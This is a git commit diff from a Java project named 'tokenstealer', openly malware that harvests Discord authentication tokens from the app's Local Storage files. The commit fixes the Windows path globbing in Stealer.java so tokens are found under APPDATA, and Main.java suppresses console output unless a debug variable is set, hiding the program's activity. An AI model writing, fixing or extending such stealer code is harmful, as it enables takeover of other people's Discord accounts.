aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorRoman Konrad Gräf <roman.graef@gmail.com>2018-02-13 15:44:20 +0100
committerRoman Konrad Gräf <roman.graef@gmail.com>2018-02-13 15:44:20 +0100
commitfda953499614e3ef5962021170c77fc72e07d340 (patch)
tree9f87229e51b8df319bedc1ebbccc07ea04f40a4a
parent99fa89be567b954346c4b0589629344e6656b935 (diff)
downloadtokenstealer-fda953499614e3ef5962021170c77fc72e07d340.tar.gz
tokenstealer-fda953499614e3ef5962021170c77fc72e07d340.tar.bz2
tokenstealer-fda953499614e3ef5962021170c77fc72e07d340.zip
windows
-rw-r--r--.gitignore1
-rw-r--r--build.gradle1
-rw-r--r--src/main/java/de/romjaki/tokenstealer/Main.java3
-rw-r--r--src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java7
4 files changed, 9 insertions, 3 deletions
diff --git a/.gitignore b/.gitignore
index 38fa0a8..06d0806 100644
--- a/.gitignore
+++ b/.gitignore
@@ -4,3 +4,4 @@ build/
.gradle/
*.localstorage
tokens.txt
+tokenstealer.iml \ No newline at end of file
diff --git a/build.gradle b/build.gradle
index 7405842..7f2b855 100644
--- a/build.gradle
+++ b/build.gradle
@@ -29,6 +29,7 @@ shadowJar {
}
sourceCompatibility = 1.8
+targetCompatibility = 1.8
repositories {
mavenCentral()
diff --git a/src/main/java/de/romjaki/tokenstealer/Main.java b/src/main/java/de/romjaki/tokenstealer/Main.java
index 80e0942..f52a5ef 100644
--- a/src/main/java/de/romjaki/tokenstealer/Main.java
+++ b/src/main/java/de/romjaki/tokenstealer/Main.java
@@ -18,10 +18,11 @@ public class Main {
public void write(int i) {
}
});
- if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) {
+ if (!Objects.equals(System.getenv("DEBUG_DISCORDTS"), "true")) {
System.setOut(nullStream);
System.setErr(nullStream);
}
+ System.out.println("DEBUG ACTIVATE!");
Config.load(args);
if (Config.INSTANCE == null) {
Builder builder = new Builder();
diff --git a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
index d595ccd..8d465db 100644
--- a/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
+++ b/src/main/java/de/romjaki/tokenstealer/stealer/Stealer.java
@@ -12,11 +12,12 @@ import java.sql.*;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
+import java.util.Objects;
import java.util.stream.Stream;
public class Stealer {
private static final String UNIX_LOCALSTORAGE = "glob:" + System.getenv("HOME") + "/.config/discord*/Local Storage/*discordapp*_0.localstorage";
- private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "\\discord*\\Local Storage\\*discordapp*_0.localstorage";
+ private static final String WINDOWS_LOCALSTORAGE = "glob:" + System.getenv("APPDATA") + "/discord*/Local Storage/*discordapp*_0.localstorage";
public static void steal() {
try {
@@ -134,7 +135,9 @@ public class Stealer {
}
private static List<Path> getWindowsDiscordLocations() {
- return globRecurse(WINDOWS_LOCALSTORAGE, System.getenv("APPDATA"));
+
+ return globRecurse(WINDOWS_LOCALSTORAGE.replace("\\", "/"),
+ System.getenv("APPDATA").replace("\\", "/"));
}
private static List<Path> getUnixDiscordLocations() {